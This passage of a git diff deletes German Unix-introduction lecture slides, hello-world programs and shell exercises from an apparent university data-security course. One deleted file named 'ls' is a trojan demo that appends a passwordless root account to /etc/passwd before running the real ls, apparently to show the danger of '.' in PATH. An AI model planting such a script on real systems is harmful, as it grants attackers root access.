- \item[2.4] Ein- und Ausgabeströme - \item[2.5] Pipes - \item[2.6] Verzweigungen und Schleifen -% \item[\dots] - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\section{Kurzeinführung Unix} - -\subsection{Grundkonzepte} - -\begin{frame} - - \begin{minipage}[b]{6.5cm} - \showsection - \vspace{-\medskipamount} - \showsubsection - \end{minipage} - - \begin{description} - \addtolength{\leftskip}{-1cm} - \item[1965] - Vorgänger: Multics (Multiplexed Information and Computing Service)\\ - "`überladen"' - \item[1970] - Unix: Einfachheit als Grundkonzept - \item[1972] - Umstellung auf neu entwickelte Programmiersprache C - \item[1975] - AT\&T: Unix inkl.\ Quelltext für Universitäten - \item[1977] - Berkeley Software Distribution (BSD) - \item[1983] - GNU-Projekt - \item[1987] - Minix - \item[1991] - Linux - \item[1993] - FreeBSD, NetBSD - \item[1994] - OpenBSD - \item[2000] - Darwin (Mac OS X, BSD-basiert) - \item[2008] - Android (Linux-basiert) - \end{description} - -\end{frame} - -\begin{frame}[fragile] - - \begin{minipage}[b]{6.5cm} - \showsection - \vspace{-\medskipamount} - \showsubsection - - Unix und C: Einfachheit als Grundkonzept -% \vspace{-\bigskipamount} - \begin{itemize} - \item - Vermeiden von Ausnahmen - \item[\color{lightgray}$\bullet$] - \color{lightgray}Baukastensystem - \end{itemize} - \end{minipage}\hspace*{0.5cm}% - \begin{minipage}[b]{5cm} - \small - C: Hauptprogramm\\ - = "`normale"' Funktion - - \medskip - - \begin{lstlisting}[gobble=6] - int main (int argc, char **argv) - { - printf ("Hello, world!\n"); - return 0; - } - \end{lstlisting} - \vspace{-\bigskipamount} - \end{minipage} - - \bigskip - \bigskip - - Unix: übergeordnetes Verzeichnis = "`normales"' Verzeichnis - - \medskip - - \begin{lstlisting}[style=terminal] - cassini/home/peter/foo> ¡ls -la¿ - insgesamt 24 - drwxr-xr-x 2 peter peter 4096 Okt 6 13:30 . - drwxr-xr-x 172 peter peter 20480 Okt 6 13:30 .. - cassini/home/peter/foo> ¡cd ..¿ - cassini/home/peter> - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \begin{minipage}[b]{6.5cm} - \showsection - \vspace{-\medskipamount} - \showsubsection - - Unix und C: Einfachheit als Grundkonzept -% \vspace{-\bigskipamount} - \begin{itemize} - \item - Vermeiden von Ausnahmen - \item - Baukastensystem - \end{itemize} - \end{minipage}% - \begin{minipage}[b]{5.5cm} - \small - C: Bibliotheken - - \smallskip - - z.\,B.: \lstinline{printf()} = "`normale"' Funktion\\ - aus eine Bibliothek (\file{libc}) - \end{minipage} - - \bigskip - \bigskip - - Unix: Programme arbeiten zusammen - - \medskip - - \begingroup\small - - \begin{lstlisting}[style=terminal] - cassini/home/peter/bo> ¡find . -name "*klausur*.tex" \ - | xargs grep -l "PBM-Datei"¿ - ./2014ws/ainf/20150130.0/ainf-klausur-20150130.tex - ./2016ws/hp/20170920.0/klausur.tex - ./2016ws/hp/20170206.0/klausur.tex - ./2011ws/rarch/20120322.0/rarch-klausur-20120322.tex - ./2012ws/klausuren-gerwinski/rarch-klausur-20120322.tex - ./2013ws/ainf/20140918.0/ainf-klausur-20140918.tex - ./2017ws/hp/20180213.k1/klausur.tex - ./2017ws/hp/20180205/klausur.tex - ./2015ws/ainf/20160913/ainf-klausur-20160913.tex - \end{lstlisting} - - \endgroup - -\end{frame} - -\subsection{Die Kommandozeile: Grundlagen} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Programm aufrufen: Namen eingeben, z.\,B.: \lstinline[style=cmd]{ls} - \item - Optionen: \lstinline[style=cmd]{ls -l} - \item - Lange Optionen (GNU-Konvention): \lstinline[style=cmd]{ls --help} - \medskip - \item - Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} - \item - (String-)Variable setzen: \lstinline[style=cmd]{FOO=bar} - \item - Variable abrufen: \lstinline[style=cmd]{echo $FOO} - \end{itemize} - -% \pause - \begin{lstlisting}[style=terminal] - cassini/home/peter/bo> ¡FOO=ls¿ - cassini/home/peter/bo> ¡echo $FOO¿ - ls - cassini/home/peter/bo> ¡$FOO¿ - 2011ws 2012ws 2013ws doc misc projekte - 2012ss 2013ss briefe material orga - cassini/home/peter/bo> - \end{lstlisting} - -\end{frame} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - Befehl zurückholen: Pfeiltasten $\uparrow$, $\downarrow$ - \item - Befehl bearbeiten: Pfeiltasten $\leftarrow$, $\rightarrow$ usw. - \item - Befehl vervollständigen: TAB - \item - Befehl rückwärts suchen: Ctrl+R - \item - Bildschirm löschen: Ctrl+L - \item - Befehl abbrechen: Ctrl+C - \bigskip -% \pause - \item - Hilfe-Option: \lstinline[style=cmd]{ls --help} - \item - Unix-Handbuch -- \emph{manual\/}: \lstinline[style=cmd]{man ls}\\ - (Beenden mit \lstinline[style=cmd]{q}) - \end{itemize} - -\end{frame} - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \begin{itemize} - \color{medgreen} - \item[1.1] Was sind Datenbanken? - \item[1.2] Was ist Datensicherheit? - \item[1.3] In dieser Lehrveranstaltung - \end{itemize} - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \begin{itemize} - \color{medgreen} - \item[2.1] Grundkonzepte - \color{orange} - \item[2.2] Die Kommandozeile: Grundlagen - \color{red} - \item[2.3] Dateisysteme - \item[2.4] Ein- und Ausgabeströme - \item[2.5] Pipes - \item[2.6] Verzweigungen und Schleifen -% \item[\dots] - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - Verzeichnisse für Programme: \lstinline[style=cmd]{echo $PATH} - \item - Programm in explizitem Verzeichnis aufrufen: \lstinline[style=cmd]{/bin/ls -l} - \item - Programm im aktuellen Verzeichnis aufrufen: \lstinline[style=cmd]{./hello} - \bigskip - - \addtolength{\leftskip}{1cm} - \item[MS-DOS:] - Ausführbare Programme werden gefunden,\\ - wenn sie im \lstinline[style=terminal]{PATH} stehen\\ - \emph{oder\/} sich im aktuellen Verzeichnis befinden. - \smallskip - \item[Unix:] - Ausführbare Programme werden gefunden,\\ - wenn sie im \lstinline[style=terminal]{PATH} stehen. - - \smallskip - \textarrow\ Vermeiden von Ausnahmen - -% \pause - \smallskip - Das aktuelle Verzeichnis (\lstinline[style=terminal]{.}) - \emph{kann\/} im \lstinline[style=terminal]{PATH} stehen,\\ - muß dies aber nicht\only<2>{ --\\ - und sollte es aus Sicherheitsgründen auch nicht}. - - \end{itemize} - -\end{frame} - -\subsection{Dateisysteme} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - Dateien listen: \lstinline[style=cmd]{ls}\\ - langes Listenformat: \lstinline[style=cmd]{ls -l}\\ - rückwärts nach Zeit sortiert: \lstinline[style=cmd]{ls -lrt} - \item - Datei ausgeben: \lstinline[style=cmd]{cat hello.c} - \item - Datei anzeigen: \lstinline[style=cmd]{less hello.c} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Arbeitsverzeichnis anzeigen: \lstinline[style=cmd]{pwd}\\ - \item - Arbeitsverzeichnis wechseln: \lstinline[style=cmd]{cd script}\\ - (\emph{kein\/} Programm, sondern Shell-Befehl) - \item - übergeordnetes Verzeichnis: \lstinline[style=cmd]{cd ..} - \item - eigenes \newterm{Home-\/}Verzeichnis: \lstinline[style=cmd]{cd} - \item - Wurzelverzeichnis: \lstinline[style=cmd]{cd /} - \item - wieder zurück: \lstinline[style=cmd]{cd -} - \end{itemize} - -% \pause - \begin{lstlisting}[style=terminal] - cassini/home/peter/bo/2013ss/net/script> ¡cd /usr/bin¿ - cassini/usr/bin> ¡cd ../lib¿ - cassini/usr/lib> ¡cd¿ - cassini/home/peter> - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Dateien kopieren (\emph{copy\/}): \lstinline[style=cmd]{cp} - \item - Dateien verschieben/umbenennen (\emph{move\/}): \lstinline[style=cmd]{mv} - \item - Dateien löschen (\emph{remove\/}): \lstinline[style=cmd]{rm} - \end{itemize} - - \begin{lstlisting}[style=terminal,xleftmargin=-3pt] - cassini/home/peter> ¡cp -p foo/test.txt¿ - cp: missing destination file operand after `foo/test.txt' - Try `cp --help' for more information. - cassini/home/peter> ¡cp -p foo/test.txt .¿ - cassini/home/peter> ¡mv test.txt bla.txt¿ - cassini/home/peter> ¡cat bla.txt¿ - Dies ist ein Test. - cassini/home/peter> ¡rm bla.txt¿ - cassini/home/peter> - \end{lstlisting} - - \medskip - - Aktuelles Verzeichnis: \lstinline[style=cmd]{.} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \newterm{Zugriffsrechte} - \end{itemize} - - \begingroup -% \small - \begin{lstlisting}[style=terminal,gobble=6,xleftmargin=-3pt] - cassini/home/peter/bo/2019ws/es/20191009> ¡ls -l¿ - ... - -rw-r--r-- 1 peter peter 24523 Okt 8 21:47 es-20191009.tex - \end{lstlisting} - \endgroup - \begin{onlyenv}<2> - \begin{picture}(0,1) - \color{red} - \put(0.3,0){\tikz{\draw[-latex,red](0,0)--(0,1); - \draw[-latex,red](0,0)--(2.5,1);}} - \put(0,-0.1){\makebox(0,0)[tl]{Benutzer (u -- \emph{user\/}) darf lesen und schreiben}} - \end{picture} - \end{onlyenv} - \begin{onlyenv}<3> - \begin{picture}(0,1) - \color{red} - \put(0.84,0){\tikz{\draw[-latex,red](0,0)--(0,1); - \draw[-latex,red](0,0)--(3.2,1);}} - \put(0,-0.1){\makebox(0,0)[tl]{Gruppe (g -- \emph{group\/}) darf lesen}} - \end{picture} - \end{onlyenv} - \begin{onlyenv}<4> - \begin{picture}(0,1) - \color{red} - \put(1.47,0){\tikz{\draw[-latex,red](0,0)--(0,1);}} - \put(0,-0.1){\makebox(0,0)[tl]{alle anderen (o -- \emph{other\/}) dürfen lesen}} - \end{picture} - \end{onlyenv} - - \medskip - \pause[5] - \begin{itemize} - \item - Zugriffsrechte ändern:\\ - \lstinline[style=cmd]{chmod o-r es-20191009.tex} -- Lesezugriff entziehen\\ - \lstinline[style=cmd]{chmod g+w es-20191009.tex} -- Schreibzugriff gewähren\\ - \lstinline[style=cmd]{chmod 640 es-20191009.tex} -- - auf \lstinline[style=terminal]{-}% - \lstinline[style=terminal]{rw-}% - \lstinline[style=terminal]{r--}% - \lstinline[style=terminal]{---} setzen - \end{itemize} - \pause - \begin{picture}(0,0) - \color{red} - \put(7.22,0.50){\makebox(0,0)[tl]{% - \small - \begin{math}% - \underbrace{\rule{0.7em}{0pt}}_{\textstyle 6}% - \underbrace{\rule{0.7em}{0pt}}_{\textstyle 4}% - \underbrace{\rule{0.7em}{0pt}}_{\textstyle 0} - \end{math}}} - \end{picture} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \newterm{ausführbare\/} Dateien - \end{itemize} - - \begingroup -% \small - \begin{lstlisting}[style=terminal,gobble=6,xleftmargin=-3pt] - cassini/home/peter/bo/2019ws/es/20191002> ¡cat test2.txt¿ - ls -l - cassini/home/peter/bo/2019ws/es/20191002> ¡chmod +x test2.txt¿ - cassini/home/peter/bo/2019ws/es/20191002> ¡ls -l test2.txt¿ - -rwxr-xr-x 1 peter peter 6 Okt 2 13:43 test2.txt - cassini/home/peter/bo/2019ws/es/20191002> ¡./test2.txt¿ - insgesamt 4828 - lrwxrwxrwx 1 peter peter 18 Apr 13 2016 csa2.jpg -> ../common/csa2.jpg - -rw-r--r-- 1 peter peter 4619138 Okt 8 21:28 es-20191002.pdf - ... - \end{lstlisting} - \endgroup - -% \pause - \begin{itemize} - \item - ausführbare Textdateien: \newterm{Skripte} - -% \pause - \smallskip - hier: ausführbare Textdatei mit Shell-Befehlen\\ - (ohne spezielle Kennung): Shell-Skript - - \pause - \smallskip - Kennung: 1.\ Zeile enthält \lstinline[style=terminal]{#!} und den Interpreter,\\ - z.\,B.\ \lstinline[style=terminal]{#!/bin/bash}\\ - \end{itemize} - -\end{frame} - -\iffalse - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Datenträger in Verzeichnis \newterm{einhängen\/}: \lstinline[style=cmd]{mount} - \end{itemize} - - \begin{lstlisting}[style=terminal] - cassini/home/peter> ¡ls /media/usb1/¿ - cassini/home/peter> ¡mount /media/usb1¿ - cassini/home/peter> ¡ls /media/usb1/¿ - es-20191002.pdf hello.c hexapode KIS-Bericht.pdf - cassini/home/peter> ¡umount /media/usb1¿ - cassini/home/peter> ¡ls /media/usb1/¿ - cassini/home/peter> - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \newterm{Symbolische Verknüpfungen -- symbolic links} - - \smallskip - - Verweis auf die eigentliche Datei\\ - \textarrow\ Wenn man die Datei löscht, zeigt der Link ins Leere. - - \smallskip - - Verknüpfung anlegen: \lstinline[style=cmd]{ln -s datei link}\\ - (Richtung: wie bei \lstinline[style=cmd]{cp}) - - \smallskip - - Beispiel: \lstinline[style=cmd]{ln -s ../common/GNU-GPL-3 gpl.txt} - \pause - \medskip - \item - \newterm{Harte Verknüpfungen -- hard links} - - \smallskip - - Dieselben Daten auf dem Datenträger\\ - sind unter mehreren Namen verfügbar.\\ - \textarrow\ Wenn man einen löscht, sind die Daten noch da. - - \smallskip - - \begingroup - \begin{lstlisting}[style=terminal,gobble=10,xleftmargin=-3pt] - cassini/home/peter/bo/2019ws/es/20191002> ¡ls -l¿ - ... - -rw-r--r-- 1 peter peter 1202 Okt 2 13:35 shell-06.txt - drwxr-xr-x 2 peter peter 4096 Okt 2 13:16 test - \end{lstlisting} - \endgroup - \begin{picture}(0,0.5) - \color{red} - \put(2.31,0){\tikz{\draw[-latex,red](0,0)--(0,0.5);}} - \put(0,-0.1){\makebox(0,0)[tl]{Anzahl der ("`harten"') Links - auf diese Datei / dieses Verzeichnis}} - \end{picture} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{grep}: Dateien durchsuchen - \end{itemize} - \begin{lstlisting}[style=terminal,xleftmargin=-3pt] - cassini/home/peter/bo/2019ws/es/20191002> ¡grep gcc *.txt¿ - shell-03.txt: cassini/...> gcc -Wall -O hello.c -o hello - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{find}: Dateien anhand ihrer Eigenschaften suchen - \end{itemize} - -% \small - \begin{lstlisting}[style=terminal] - $ ¡find . -name "*.txt"¿ - ./shell-06.txt - ./shell-03.txt - ./shell-05.txt - ./test.txt - ./test/test.txt - ... - $ ¡find . -name "*.txt" -perm /u+x¿ - ./test2.txt - $ ¡find . -name "*.txt" -perm /u+x -exec ls -l {} \;¿ - -rwxr-xr-x 1 peter peter 6 Okt 2 13:43 ./test2.txt - \end{lstlisting} - -\end{frame} - -\subsection{Ein- und Ausgabeströme} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Standard-Ausgabe in Datei umleiten - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡echo "Dies ist ein Test." > test.txt¿ - $ ¡cat test.txt¿ - Dies ist ein Test. - \end{lstlisting} - - \pause - \smallskip - - \begin{itemize} - \item - Standard-Ausgabe an Datei anhängen - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡echo "Dies ist noch ein Test." >> test.txt¿ - $ ¡cat test.txt¿ - Dies ist ein Test. - Dies ist noch ein Test. - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Fehler-Ausgabe in Datei umleiten - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡cat gibtsnicht.txt > fehler.txt¿ - cat: gibtsnicht.txt: No such file or directory - $ ¡cat fehler.txt¿ - $ ¡cat gibtsnicht.txt 2> fehler.txt¿ - $ ¡cat fehler.txt¿ - cat: gibtsnicht.txt: No such file or directory - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Standard-Eingabe aus Datei lesen - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡bc¿ - bc 1.06.95 - Copyright [...] 2006 Free Software Foundation, Inc. - This is free software with ABSOLUTELY NO WARRANTY. - For details type `warranty'. - ¡2 + 2¿ - 4 - $ ¡echo "2 + 2" > test.bc¿ - $ ¡bc < test.bc¿ - 4 - \end{lstlisting} - -\end{frame} - -\subsection{Pipes} - -\begin{frame}[fragile] - - \showsubsection - - Standard-Ausgabe von Programm A\\ - wird zu Standard-Eingabe von Programm B - - \smallskip - - \begin{lstlisting}[style=terminal] - $ ¡echo "2 + 2" | bc¿ - 4 - \end{lstlisting} - - \smallskip - - \textarrow\ sehr mächtiger "`Baukasten"' - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{sed}: \emph{stream editor}\\ - Suchen und Ersetzen (und noch viel mehr) - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡echo "Schlimmer geht nimmer." | sed -e 's/nim/im/g'¿ - Schlimmer geht immer. - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{grep}: Standard-Eingabe durchsuchen - \item - \lstinline[style=cmd]{$(...)}: Output in Kommandozeile übernehmen - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡ls | grep slides¿ - pgslides.sty - $ ¡ls *.pdf | grep -v logo¿ - es-20191002.pdf - Zeichen_123.pdf - $ ¡ls -l $(ls *.pdf | grep -v logo)¿ - -rw-r--r-- 1 ... 4619138 Okt 8 21:28 es-20191002.pdf - lrwxrwxrwx 1 ... 25 Okt 3 2016 Zeichen_123.pdf -> ... - \end{lstlisting} - -\end{frame} - -\subsection{Verzweigungen und Schleifen} - -\begin{frame}[fragile] - - \showsubsection - - \begin{lstlisting}[style=terminal] - $ ¡if grep Blubb test.txt; then echo "gefunden"; \ - else echo "nicht gefunden"; fi¿ - nicht gefunden - $ ¡for x in foo bar baz; do echo $x; done¿ - foo - bar - baz - \end{lstlisting} - - \pause - \bigskip - - Beispiel: Datei mit einer \lstinline[style=cmd]{while}-Schleife zeilenweise lesen,\\ - Zeilennummen ergänzen und wieder ausgeben: - - \smallskip - - \begin{lstlisting}[style=terminal] - number=0 - cat test.txt \ - | while read line; do - number=$((number + 1)) - echo "Zeile $number: $line" - done - \end{lstlisting} - - \begin{itemize} - \item - \lstinline[style=cmd]{read}: Variable von Standardeingabe lesen - \item - \lstinline[style=cmd]{$((...))}: arithmetischen Ausdruck auswerten - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \textbf{Übungsaufgabe} - - \begin{itemize} - \item - Speichern Sie einen Satz Beispieldaten als CSV-Datei (Text). - \item - Schreiben Sie ein Shell-Skript, das die CSV-Datei liest, - \item - damit irgendetwas macht, z.\,B.\ zwei Spalten vertauscht, - \item - und das Ergebnis wieder als sinnvolle Datei abspeichert,\\ - z.\,B.\ wieder als CSV-Datei, als HTML- oder \LaTeX-Datei, \dots - \end{itemize} - - \medskip - - Hinweise: - \begin{itemize} - \item - \lstinline[style=cmd]{man cut} - \item - Sie dürfen voraussetzen, daß in der CSV-Datei gespeicherte Strings\\ - bestimmte Zeichen (z.\,B.\ das Trennzeichen) nicht enthalten. - \end{itemize} - - \bigskip - - \textbf{Zusatzaufgabe} - - \smallskip - - Schreiben Sie dasselbe Programm noch einmal in einer beliebigen Sprache, - wobei die in der CSV-Datei gespeicherten Strings (nahezu) beliebige Zeichen - enthalten dürfen. - (Beispiel: Zwischen Anführungszeichen zählt auch das Trennzeichen - als Bestandteil des Strings.) - -\end{frame} - -\fi - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \begin{itemize} - \item[1.1] Was sind Datenbanken? - \item[1.2] Was ist Datensicherheit? - \item[1.3] In dieser Lehrveranstaltung - \end{itemize} - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \begin{itemize} - \item[2.1] Grundkonzepte - \color{medgreen} - \item[2.2] Die Kommandozeile: Grundlagen - \color{orange} - \item[2.3] Dateisysteme - \color{red} - \item[2.4] Ein- und Ausgabeströme - \item[2.5] Pipes - \item[2.6] Verzweigungen und Schleifen -% \item[\dots] - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\end{document} diff --git a/20231012/hallo.c b/20231012/hallo.c deleted file mode 100644 index ad00a77d2f568db1c8e32ecc56a6dd5a38970db8..0000000000000000000000000000000000000000 --- a/20231012/hallo.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hallo, Welt!\n"); - return 0; -} diff --git a/20231012/hello.c b/20231012/hello.c deleted file mode 100755 index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000 --- a/20231012/hello.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} diff --git a/20231012/hola.c b/20231012/hola.c deleted file mode 100644 index 6dd757950ccc0b974d79e4edf78b4fbced19a3f1..0000000000000000000000000000000000000000 --- a/20231012/hola.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("¡Hola, el mundo!\n"); - return 0; -} diff --git a/20231012/logo-hochschule-bochum-cvh-text-v2.pdf b/20231012/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20231012/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20231012/logo-hochschule-bochum.pdf b/20231012/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20231012/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20231012/ls b/20231012/ls deleted file mode 100755 index d265808d59ce923cf89feaddfdc7d4e8ecb988c6..0000000000000000000000000000000000000000 --- a/20231012/ls +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash - -echo "SCHLIMME DINGE ..." -echo "test-root::0:0:root:/root:/bin/bash" >> /etc/passwd -/bin/ls "$@" diff --git a/20231012/online-shop-lores.jpg b/20231012/online-shop-lores.jpg deleted file mode 100644 index 67cb26bf2d67ffcc2241ec348794f463646da993..0000000000000000000000000000000000000000 Binary files a/20231012/online-shop-lores.jpg and /dev/null differ diff --git a/20231012/online-shop.jpg b/20231012/online-shop.jpg deleted file mode 120000 index 4c636276842c9a66b60474e2aadc27803cf5e678..0000000000000000000000000000000000000000 --- a/20231012/online-shop.jpg +++ /dev/null @@ -1 +0,0 @@ -Shopping_online_with_bank_card.jpg \ No newline at end of file diff --git a/20231012/pgslides.sty b/20231012/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20231012/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20231012/privet.c b/20231012/privet.c deleted file mode 100644 index b8ae3aee74e4648249ed0621babc11118c056600..0000000000000000000000000000000000000000 --- a/20231012/privet.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Привет, мир!\n"); - return 0; -} diff --git a/20231012/pryvit.c b/20231012/pryvit.c deleted file mode 100644 index d554df83ee6e29ddcce8d0fec53cf2b524a5df93..0000000000000000000000000000000000000000 --- a/20231012/pryvit.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Привiт, свiте!\n"); - return 0; -} diff --git a/20231012/test/hello-world.c b/20231012/test/hello-world.c deleted file mode 100644 index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000 --- a/20231012/test/hello-world.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} diff --git a/20231012/zentraler-computer-lores.jpg b/20231012/zentraler-computer-lores.jpg deleted file mode 100644 index 6314ec19d132b2d4020fa2ce83127741eb9dd73b..0000000000000000000000000000000000000000 Binary files a/20231012/zentraler-computer-lores.jpg and /dev/null differ diff --git a/20231012/zentraler-computer.jpg b/20231012/zentraler-computer.jpg deleted file mode 120000 index dbbe30e51e57e46f8906a33f51bbe1fec3683cfc..0000000000000000000000000000000000000000 --- a/20231012/zentraler-computer.jpg +++ /dev/null @@ -1 +0,0 @@ -Ken_Thompson_(sitting)_and_Dennis_Ritchie_at_PDP-11_(2876612463).jpg \ No newline at end of file diff --git a/20231018.p0/dbs-20231018.txt b/20231018.p0/dbs-20231018.txt deleted file mode 100644 index caee2d104e5248362a40db1f887417884eed7589..0000000000000000000000000000000000000000 --- a/20231018.p0/dbs-20231018.txt +++ /dev/null @@ -1,38 +0,0 @@ -Aufgabe: Schreiben Sie ein Shell-Skript, das aus einer selbst erstellten -Textdatei (z.B. CSV) Daten extrahiert. Welche Daten, soll per Parameter -angegeben werden. - -Beispiel: Tabelle - - ID Name Tierart - ---------------------- - 01 Wuffi Kater - 02 Maunzi Dt. Schäferhund - 03 Mausi Afr. Elefant - 04 Gargantua Spitzmaus - - $ ./programmchen 01 Tierart - Kater - $ ./programmchen 03 Name - Mausi - -Beispiel: Dasselbe mit CSV-Datei - - $ cat tiere.csv - "ID";"Name";"Tierart" - "01";"Wuffi";"Kater" - "02";"Maunzi";"Dt. Schäferhund" - "03";"Mausi";"Afr. Elefant" - "04";"Gargantua";"Spitzmaus" - $ ./programmchen B2 - Wuffi - $ ./programmchen A4 - 03 - $ ./programmchen C3 - Dt. Schäferhund - -Hinweise: - - man grep - - man cut - - man head - - man tail diff --git a/20231018.p0/head-tail-01.txt b/20231018.p0/head-tail-01.txt deleted file mode 100644 index a4e596a6bfb39926d1b42ba9bb384c9b2fab32de..0000000000000000000000000000000000000000 --- a/20231018.p0/head-tail-01.txt +++ /dev/null @@ -1,16 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231018.p0> cat tiere.csv -"ID";"Name";"Tierart" -"01";"Wuffi";"Kater" -"02";"Maunzi";"Dt. Schäferhund" -"03";"Mausi";"Afr. Elefant" -"04";"Gargantua";"Spitzmaus" -cassini/home/peter/bo/2023ws/dbs/20231018.p0> cat tiere.csv | head -4 -"ID";"Name";"Tierart" -"01";"Wuffi";"Kater" -"02";"Maunzi";"Dt. Schäferhund" -"03";"Mausi";"Afr. Elefant" -cassini/home/peter/bo/2023ws/dbs/20231018.p0> cat tiere.csv | head -4 | tail -1 -"03";"Mausi";"Afr. Elefant" -cassini/home/peter/bo/2023ws/dbs/20231018.p0> cat tiere.csv | head -4 | tail -1 | cut -d ";" -f 3 -"Afr. Elefant" -cassini/home/peter/bo/2023ws/dbs/20231018.p0> diff --git a/20231018.p0/hello-01.sh b/20231018.p0/hello-01.sh deleted file mode 100755 index 9f3f770bfcccad3d62d2e2d08b077469ef3722fa..0000000000000000000000000000000000000000 --- a/20231018.p0/hello-01.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -echo "Hello, world!" diff --git a/20231018.p0/hello-01.txt b/20231018.p0/hello-01.txt deleted file mode 100644 index 5cb2b1daba9a8a8fc5bb4096662d533c42725231..0000000000000000000000000000000000000000 --- a/20231018.p0/hello-01.txt +++ /dev/null @@ -1,14 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231018.p0> ls -l -insgesamt 4 --rw-r--r-- 1 peter peter 34 18. Okt 13:14 hello-01.sh -cassini/home/peter/bo/2023ws/dbs/20231018.p0> cat hello-01.sh -#!/bin/bash - -echo "Hello, world!" -cassini/home/peter/bo/2023ws/dbs/20231018.p0> chmod +x hello-01.sh -cassini/home/peter/bo/2023ws/dbs/20231018.p0> ls -l -insgesamt 4 --rwxr-xr-x 1 peter peter 34 18. Okt 13:14 hello-01.sh -cassini/home/peter/bo/2023ws/dbs/20231018.p0> ./hello-01.sh -Hello, world! -cassini/home/peter/bo/2023ws/dbs/20231018.p0> diff --git a/20231018.p0/hello-02.sh b/20231018.p0/hello-02.sh deleted file mode 100755 index 2fcc8026436fe9bc8c1321e872ed2d4cc16f6d02..0000000000000000000000000000000000000000 --- a/20231018.p0/hello-02.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -echo "Hello, $1!" diff --git a/20231018.p0/hello-02.txt b/20231018.p0/hello-02.txt deleted file mode 100644 index 